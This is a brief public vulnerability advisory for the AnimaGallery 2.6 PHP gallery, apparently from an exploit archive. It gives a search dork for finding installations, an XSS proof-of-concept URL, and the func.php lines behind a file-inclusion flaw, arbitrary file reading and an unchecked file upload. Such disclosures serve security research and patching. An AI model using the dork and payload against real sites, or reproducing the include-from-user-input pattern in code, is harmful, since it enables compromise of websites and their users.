AnimaGallery 2.6 Mullti Vulnerability ===================================== Author : indoushka Vondor : http://dg.no.sapo.pt/AnimaGallery2.6.zip Dork : Powered By Anima Gallery 2.6 Copyright 2007-2014 ========================= Xss : /AnimaGallery/?id=.prompt(939678)&load=dir&refresh=1 C:\AppServ\www\AnimaGallery\func.php LIne : 1308 echo $THEME Remote/Local File Inclutions : C:\AppServ\www\AnimaGallery\func.php Line : 1118 include $_GET['id'] File Access : C:\AppServ\www\AnimaGallery\func.php Line : 6133 file_get_contents $filename File Upload : C:\AppServ\www\AnimaGallery\func.php Line : 3405 move_uploaded_file $_FILES['newimage'],$dest,$_POST['rename'],$sfv_n,$dest